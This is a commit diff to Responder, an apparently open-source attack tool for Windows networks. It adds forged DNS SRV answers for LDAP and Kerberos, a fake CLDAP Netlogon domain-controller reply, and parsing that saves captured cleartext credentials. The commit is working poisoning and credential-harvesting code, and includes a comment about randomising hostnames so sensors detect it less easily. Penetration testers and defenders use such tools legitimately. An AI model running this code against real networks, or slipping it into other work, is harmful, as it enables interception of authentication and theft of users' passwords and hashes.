Added DNS SRV handling for ldap/kerberos + LDAP netlogon ping

This commit is contained in:
lgandx 2021-04-12 20:42:36 -03:00
parent d01bbaafae
commit 1271b8e179
5 changed files with 313 additions and 17 deletions

View file

@ -307,8 +307,9 @@ def main():
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 110, POP3,))) threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 110, POP3,)))
if settings.Config.LDAP_On_Off: if settings.Config.LDAP_On_Off:
from servers.LDAP import LDAP from servers.LDAP import LDAP, CLDAP
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 389, LDAP,))) threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 389, LDAP,)))
threads.append(Thread(target=serve_thread_udp, args=('', 389, CLDAP,)))
if settings.Config.SMTP_On_Off: if settings.Config.SMTP_On_Off:
from servers.SMTP import ESMTP from servers.SMTP import ESMTP

View file

@ -18,6 +18,8 @@
import struct import struct
import settings import settings
import codecs import codecs
import random
import re
from os import urandom from os import urandom
from base64 import b64decode, b64encode from base64 import b64decode, b64encode
from odict import OrderedDict from odict import OrderedDict
@ -38,6 +40,10 @@ class Packet():
def __str__(self): def __str__(self):
return "".join(map(str, self.fields.values())) return "".join(map(str, self.fields.values()))
def GenerateCallbackName():
return ''.join([random.choice('abcdefghijklmnopqrstuvwxyz0123456789') for i in range(11)])
# NBT Answer Packet # NBT Answer Packet
class NBT_Ans(Packet): class NBT_Ans(Packet):
fields = OrderedDict([ fields = OrderedDict([
@ -65,7 +71,7 @@ class NBT_Ans(Packet):
class DNS_Ans(Packet): class DNS_Ans(Packet):
fields = OrderedDict([ fields = OrderedDict([
("Tid", ""), ("Tid", ""),
("Flags", "\x80\x10"), ("Flags", "\x85\x10"),
("Question", "\x00\x01"), ("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"), ("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"), ("AuthorityRRS", "\x00\x00"),
@ -88,6 +94,81 @@ class DNS_Ans(Packet):
self.fields["IP"] = RespondWithIPAton() self.fields["IP"] = RespondWithIPAton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
class DNS_SRV_Ans(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x85\x80"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x01"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x21"),#srv
("Class", "\x00\x01"),
("AnswerPointer", "\xc0\x0c"),
("Type1", "\x00\x21"),#srv
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
("RecordLen", ""),
("Priority", "\x00\x00"),
("Weight", "\x00\x64"),
("Port", "\x00\x00"),
("TargetLenPre", "\x0f"), # static, we provide netbios computer name 15 chars like Windows by default.
("TargetPrefix", ""),
("TargetLenSuff", ""),
("TargetSuffix", ""),
("TargetLenSuff2", ""),
("TargetSuffix2", ""),
("TargetNull", "\x00"),
("AnswerAPointer", "\xc0"),
("AnswerAPtrOffset", ""),
("Type2", "\x00\x01"),#A record.
("Class2", "\x00\x01"),
("TTL2", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self,data):
self.fields["Tid"] = data[0:2]
DNSName = ''.join(data[12:].split('\x00')[:1])
SplitFQDN = re.split('\W+', DNSName) # split the ldap.tcp.blah.blah.blah.domain.tld
#What's the question? we need it first to calc all other len.
self.fields["QuestionName"] = DNSName
#Want to be detected that easily by xyz sensor?
self.fields["TargetPrefix"] = "win-"+GenerateCallbackName()
#two last parts of the domain are the actual Domain name.. eg: contoso.com
self.fields["TargetSuffix"] = SplitFQDN[-2]
self.fields["TargetSuffix2"] = SplitFQDN[-1]
#We calculate the len for that domain...
self.fields["TargetLenSuff2"] = StructPython2or3(">B",self.fields["TargetSuffix2"])
self.fields["TargetLenSuff"] = StructPython2or3(">B",self.fields["TargetSuffix"])
# Calculate Record len.
CalcLen = self.fields["Priority"]+self.fields["Weight"]+self.fields["Port"]+self.fields["TargetLenPre"]+self.fields["TargetPrefix"]+self.fields["TargetLenSuff"]+self.fields["TargetSuffix"]+self.fields["TargetLenSuff2"]+self.fields["TargetSuffix2"]+self.fields["TargetNull"]
#Our answer len..
self.fields["RecordLen"] = StructPython2or3(">h",CalcLen)
#Where is Answer A Pointer...
CalcRROffset= self.fields["QuestionName"]+self.fields["QuestionNameNull"]+self.fields["Type"]+self.fields["Class"]+CalcLen
self.fields["AnswerAPtrOffset"] = StructWithLenPython2or3("B",len(CalcRROffset)-4)
#for now we support ldap and kerberos...
if "ldap" in DNSName:
self.fields["Port"] = StructWithLenPython2or3(">h", 389)
if "kerberos" in DNSName:
self.fields["Port"] = StructWithLenPython2or3(">h", 88)
#Last but not least... we provide our IP, so computers can enjoy our services.
self.fields["IP"] = RespondWithIPAton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
# LLMNR Answer Packet # LLMNR Answer Packet
class LLMNR_Ans(Packet): class LLMNR_Ans(Packet):
fields = OrderedDict([ fields = OrderedDict([
@ -782,6 +863,87 @@ class LDAPNTLMChallenge(Packet):
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"]))) self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"]))) self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
##cldap
class CLDAPNetlogon(Packet):
fields = OrderedDict([
("ParserHeadASNID", "\x30"),
("ParserHeadASNLenOfLen", "\x84"),
("ParserHeadASNLen", "\x00\x00\x00\x9D"),
("MessageIDASNID", "\x02"),
("MessageIDASNLen", "\x02"),
("MessageIDASNStr", "\x00\xc4"),#First MsgID
("OpHeadASNID", "\x64"),
("OpHeadASNIDLenOfLen", "\x84"),
("OpHeadASNIDLen", "\x00\x00\x00\xc7"),
("Status", "\x04"),
("StatusASNLen", "\x00"),
("StatusASNStr", ""),
("SequenceHeader", "\x30"),
("SequenceHeaderLenOfLen", "\x84"),
("SequenceHeaderLen", "\x00\x00\x00\x8b"),
#Netlogon packet starts here....
("PartAttribHead", "\x30"),
("PartAttribHeadLenofLen", "\x84"),
("PartAttribHeadLen", "\x00\x00\x00\x85"),
("NetlogonHead", "\x04"),
("NetlogonLen", "\x08"),
("NetlogonStr", "Netlogon"),
("NetAttribHead", "\x31"),
("NetAttribLenOfLen", "\x84"),
("NetAttribLen", "\x00\x00\x00\x75"),
("NetAttrib1Head", "\x04"),
("NetAttrib1Len", "\x73"),
("NTLogonOpcode", "\x17\x00"),#SamLogonRespEx opcode
("NTLogonSbz", "\x00\x00"),
("NTLogonFlags", "\xFD\xF3\x03\x00"),
("NTLogonDomainGUID", "\x3E\xDE\x55\x61\xF0\x79\x8F\x44\x83\x10\x83\x63\x08\xD4\xBB\x26"),
("NTLogonForestName", "\x04\x73\x6D\x62\x33\x05\x6C\x6F\x63\x61\x6C"),
("NTLogonForestNameNull", "\x00"),
("NTLogonDomainNamePtr", "\xc0"),
("NTLogonDomainNamePtrOffset", "\x18"),
("NTLogonPDCNBTName", "\x0F\x57\x49\x4E\x2D\x48\x51\x46\x42\x34\x4F\x52\x34\x4B\x49\x4D"),
("NTLogonPDCNBTTLDPtr", "\xC0\x18"),
("NTLogonDomainNameShort", "\x04\x53\x4D\x42\x33"),
("NTLogonDomainNameShortNull", "\x00"),
("NTLogonDomainNBTName", "\x0F\x57\x49\x4E\x2D\x48\x51\x46\x42\x34\x4F\x52\x34\x4B\x49\x4D"),
("NTLogonDomainNBTNameNull", "\x00"),
("NTLogonUsername", "\x00"),
("DCSiteName", "\x17\x44\x65\x66\x61\x75\x6C\x74\x2D\x46\x69\x72\x73\x74\x2D\x53\x69\x74\x65\x2D\x4E\x61\x6D\x65\x00"),#static 95% PDC use this.
("ClientSiteNamePtr", "\xc0"),
("ClientSiteNamePtrOffset", "\x50"),
("NTLogonVersion", "\x05\x00\x00\x00"),
("LMNTToken", "\xff\xff"),
("LM2Token", "\xff\xff"),#End netlogon.
("CLDAPMessageIDHeader", "\x30\x84\x00\x00\x00\x11"),
("CLDAPMessageIDInt", "\x02"),
("CLDAPMessageIDlen", "\x02"),
("CLDAPMessageIDStr", "\x00\xc4"),#Second MsgID
("SearchDone", "\x65\x84\x00\x00\x00\x07"),
("SearchDoneMatched", "\x0A\x01\x00\x04\x00\x04\x00"),
])
def calculate(self):
###### LDAP Packet Len
CalculatePacketLen = str(self.fields["MessageIDASNID"])+str(self.fields["MessageIDASNLen"])+str(self.fields["MessageIDASNStr"])+str(self.fields["OpHeadASNID"])+str(self.fields["OpHeadASNIDLenOfLen"])+str(self.fields["OpHeadASNIDLen"])+str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])
OperationPacketLen = str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])
###### Netlogon + Search Successfull Len
CalculateNetlogonLen = str(self.fields["NTLogonOpcode"])+str(self.fields["NTLogonSbz"])+str(self.fields["NTLogonFlags"])+str(self.fields["NTLogonDomainGUID"])+str(self.fields["NTLogonForestName"])+str(self.fields["NTLogonForestNameNull"])+str(self.fields["NTLogonDomainNamePtr"])+str(self.fields["NTLogonDomainNamePtrOffset"])+str(self.fields["NTLogonPDCNBTName"])+str(self.fields["NTLogonPDCNBTTLDPtr"])+str(self.fields["NTLogonDomainNameShort"])+str(self.fields["NTLogonDomainNameShortNull"])+str(self.fields["NTLogonDomainNBTName"])+str(self.fields["NTLogonDomainNBTNameNull"])+str(self.fields["NTLogonUsername"])+str(self.fields["DCSiteName"])+str(self.fields["ClientSiteNamePtr"])+str(self.fields["ClientSiteNamePtrOffset"])+str(self.fields["NTLogonVersion"])+str(self.fields["LMNTToken"])+str(self.fields["LM2Token"]) #115 now.
CalculateNetlogonOffset = str(self.fields["NTLogonForestName"])+str(self.fields["NTLogonForestNameNull"])+str(self.fields["NTLogonDomainNamePtr"])+str(self.fields["NTLogonDomainNamePtrOffset"])+str(self.fields["NTLogonPDCNBTName"])+str(self.fields["NTLogonPDCNBTTLDPtr"])+str(self.fields["NTLogonDomainNameShort"])+str(self.fields["NTLogonDomainNameShortNull"])+str(self.fields["NTLogonDomainNBTName"])+str(self.fields["NTLogonDomainNBTNameNull"])+str(self.fields["NTLogonUsername"])+str(self.fields["DCSiteName"])
##### LDAP ASN Len Calculation:
self.fields["NetAttrib1Len"] = StructWithLenPython2or3(">B", len(CalculateNetlogonLen))
self.fields["NetAttribLen"] = StructWithLenPython2or3(">L", len(CalculateNetlogonLen)+2)
self.fields["PartAttribHeadLen"] = StructWithLenPython2or3(">L", len(CalculateNetlogonLen)+18)
self.fields["SequenceHeaderLen"] = StructWithLenPython2or3(">L", len(CalculateNetlogonLen)+24)
self.fields["OpHeadASNIDLen"] = StructWithLenPython2or3(">L", len(CalculateNetlogonLen)+32)
self.fields["ParserHeadASNLen"] = StructWithLenPython2or3(">L", len(CalculateNetlogonLen)+42)
######
self.fields["ClientSiteNamePtrOffset"] = StructWithLenPython2or3(">B", len(CalculateNetlogonOffset)-1)
##### SMB Packets ##### ##### SMB Packets #####
class SMBHeader(Packet): class SMBHeader(Packet):
fields = OrderedDict([ fields = OrderedDict([

View file

@ -15,7 +15,7 @@
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import * from utils import *
from packets import DNS_Ans from packets import DNS_Ans, DNS_SRV_Ans
if settings.Config.PY2OR3 == "PY3": if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler from socketserver import BaseRequestHandler
else: else:
@ -23,9 +23,11 @@ else:
def ParseDNSType(data): def ParseDNSType(data):
QueryTypeClass = data[len(data)-4:] QueryTypeClass = data[len(data)-4:]
# If Type A, Class IN, then answer. # If Type A, Class IN, then answer.
return QueryTypeClass == "\x00\x01\x00\x01" if QueryTypeClass == "\x00\x01\x00\x01":
return "A"
if QueryTypeClass == "\x00\x21\x00\x01":
return "SRV"
@ -37,12 +39,19 @@ class DNS(BaseRequestHandler):
try: try:
data, soc = self.request data, soc = self.request
if ParseDNSType(NetworkRecvBufferPython2or3(data)) and settings.Config.AnalyzeMode == False: if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "A" and settings.Config.AnalyzeMode == False:
buff = DNS_Ans() buff = DNS_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data)) buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "SRV" and settings.Config.AnalyzeMode == False:
buff = DNS_SRV_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
except Exception: except Exception:
pass pass
@ -56,12 +65,19 @@ class DNSTCP(BaseRequestHandler):
try: try:
data = self.request.recv(1024) data = self.request.recv(1024)
if ParseDNSType(NetworkRecvBufferPython2or3(data)) and settings.Config.AnalyzeMode is False: if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "A" and settings.Config.AnalyzeMode is False:
buff = DNS_Ans() buff = DNS_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data)) buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff)) self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS-TCP] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "SRV" and settings.Config.AnalyzeMode == False:
buff = DNS_SRV_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
except Exception: except Exception:
pass pass

View file

@ -19,18 +19,67 @@ if (sys.version_info > (3, 0)):
from socketserver import BaseRequestHandler from socketserver import BaseRequestHandler
else: else:
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge, CLDAPNetlogon
from utils import * from utils import *
import struct import struct
import codecs import codecs
import random
def GenerateNetbiosName():
return 'WIN-'+''.join([random.choice('abcdefghijklmnopqrstuvwxyz0123456789') for i in range(11)])
def CalculateDNSName(name):
if isinstance(name, bytes):
name = name.decode('latin-1')
name = name.split(".")
DomainPrefix = struct.pack('B', len(name[0])).decode('latin-1')+name[0]
Dnslen = ''
for x in name:
if len(x) >=1:
Dnslen += struct.pack('B', len(x)).decode('latin-1')+x
return Dnslen, DomainPrefix
def ParseCLDAPNetlogon(data):
#data = NetworkSendBufferPython2or3(data)
try:
Dns = data.find(b'DnsDomain')
if Dns is -1:
return False
DnsName = data[Dns+9:]
DnsGuidOff = data.find(b'DomainGuid')
if DnsGuidOff is -1:
return False
Guid = data[DnsGuidOff+10:]
if Dns:
DomainLen = struct.unpack(">B", DnsName[1:2])[0]
DomainName = DnsName[2:2+DomainLen]
if Guid:
DomainGuidLen = struct.unpack(">B", Guid[1:2])[0]
DomainGuid = Guid[2:2+DomainGuidLen]
return DomainName, DomainGuid
except:
pass
def ParseSearch(data): def ParseSearch(data):
TID = data[8:9].decode('latin-1')
if re.search(b'Netlogon', data):
NbtName = GenerateNetbiosName()
TID = NetworkRecvBufferPython2or3(data[8:10])
DomainName, DomainGuid = ParseCLDAPNetlogon(data)
DomainGuid = NetworkRecvBufferPython2or3(DomainGuid)
t = CLDAPNetlogon(MessageIDASNStr=TID ,CLDAPMessageIDStr=TID, NTLogonDomainGUID=DomainGuid, NTLogonForestName=CalculateDNSName(DomainName)[0],NTLogonPDCNBTName=CalculateDNSName(NbtName)[0], NTLogonDomainNBTName=CalculateDNSName(NbtName)[0],NTLogonDomainNameShort=CalculateDNSName(DomainName)[1])
t.calculate()
return str(t)
if re.search(b'(objectClass)', data): if re.search(b'(objectClass)', data):
return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9].decode('latin-1'))) return str(LDAPSearchDefaultPacket(MessageIDASNStr=TID))
elif re.search(b'(?i)(objectClass0*.*supportedCapabilities)', data): elif re.search(b'(?i)(objectClass0*.*supportedCapabilities)', data):
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9].decode('latin-1'),MessageIDASN2Str=data[8:9].decode('latin-1'))) return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=TID,MessageIDASN2Str=TID))
elif re.search(b'(?i)(objectClass0*.*supportedSASLMechanisms)', data): elif re.search(b'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9].decode('latin-1'),MessageIDASN2Str=data[8:9].decode('latin-1'))) return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=TID,MessageIDASN2Str=TID))
def ParseLDAPHash(data,client, Challenge): #Parse LDAP NTLMSSP v1/v2 def ParseLDAPHash(data,client, Challenge): #Parse LDAP NTLMSSP v1/v2
SSPIStart = data.find(b'NTLMSSP') SSPIStart = data.find(b'NTLMSSP')
@ -92,6 +141,59 @@ def ParseNTLM(data,client, Challenge):
elif re.search(b'(NTLMSSP\x00\x03\x00\x00\x00)', data): elif re.search(b'(NTLMSSP\x00\x03\x00\x00\x00)', data):
ParseLDAPHash(data, client, Challenge) ParseLDAPHash(data, client, Challenge)
def ParseCLDAPPacket(data, client, Challenge):
if data[1:2] == b'\x84':
PacketLen = struct.unpack('>i',data[2:6])[0]
MessageSequence = struct.unpack('<b',data[8:9])[0]
Operation = data[10:11]
sasl = data[20:21]
OperationHeadLen = struct.unpack('>i',data[11:15])[0]
LDAPVersion = struct.unpack('<b',data[17:18])[0]
if Operation == b'\x60':
UserDomainLen = struct.unpack('<b',data[19:20])[0]
UserDomain = data[20:20+UserDomainLen].decode('latin-1')
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
if AuthHeaderType == b'\x80':
PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen].decode('latin-1')
SaveToDb({
'module': 'LDAP',
'type': 'Cleartext',
'client': client,
'user': UserDomain,
'cleartext': Password,
'fullhash': UserDomain+':'+Password,
})
if sasl == b'\xA3':
Buffer = ParseNTLM(data,client, Challenge)
return Buffer
elif Operation == b'\x63':
Buffer = ParseSearch(data)
return Buffer
elif settings.Config.Verbose:
print(text('[LDAP] Operation not supported'))
if data[5:6] == b'\x60':
UserLen = struct.unpack("<b",data[11:12])[0]
UserString = data[12:12+UserLen].decode('latin-1')
PassLen = struct.unpack("<b",data[12+UserLen+1:12+UserLen+2])[0]
PassStr = data[12+UserLen+2:12+UserLen+3+PassLen].decode('latin-1')
if settings.Config.Verbose:
print(text('[LDAP] Attempting to parse an old simple Bind request.'))
SaveToDb({
'module': 'LDAP',
'type': 'Cleartext',
'client': client,
'user': UserString,
'cleartext': PassStr,
'fullhash': UserString+':'+PassStr,
})
def ParseLDAPPacket(data, client, Challenge): def ParseLDAPPacket(data, client, Challenge):
if data[1:2] == b'\x84': if data[1:2] == b'\x84':
PacketLen = struct.unpack('>i',data[2:6])[0] PacketLen = struct.unpack('>i',data[2:6])[0]
@ -100,8 +202,9 @@ def ParseLDAPPacket(data, client, Challenge):
sasl = data[20:21] sasl = data[20:21]
OperationHeadLen = struct.unpack('>i',data[11:15])[0] OperationHeadLen = struct.unpack('>i',data[11:15])[0]
LDAPVersion = struct.unpack('<b',data[17:18])[0] LDAPVersion = struct.unpack('<b',data[17:18])[0]
if Operation == b'\x60':#Bind
if Operation == b'\x60': if "ldap" in data:# No Kerberos
return False
UserDomainLen = struct.unpack('<b',data[19:20])[0] UserDomainLen = struct.unpack('<b',data[19:20])[0]
UserDomain = data[20:20+UserDomainLen].decode('latin-1') UserDomain = data[20:20+UserDomainLen].decode('latin-1')
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1] AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
@ -148,7 +251,7 @@ def ParseLDAPPacket(data, client, Challenge):
class LDAP(BaseRequestHandler): class LDAP(BaseRequestHandler):
def handle(self): def handle(self):
try: try:
self.request.settimeout(0.4) self.request.settimeout(1)
data = self.request.recv(8092) data = self.request.recv(8092)
Challenge = RandomChallenge() Challenge = RandomChallenge()
for x in range(5): for x in range(5):
@ -159,3 +262,17 @@ class LDAP(BaseRequestHandler):
except: except:
pass pass
class CLDAP(BaseRequestHandler):
def handle(self):
try:
data, soc = self.request
Challenge = RandomChallenge()
for x in range(1):
Buffer = ParseCLDAPPacket(data,self.client_address[0], Challenge)
if Buffer:
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
data, soc = self.request
except:
pass

View file

@ -23,7 +23,7 @@ import subprocess
from utils import * from utils import *
__version__ = 'Responder 3.0.3.0' __version__ = 'Responder 3.0.4.0'
class Settings: class Settings: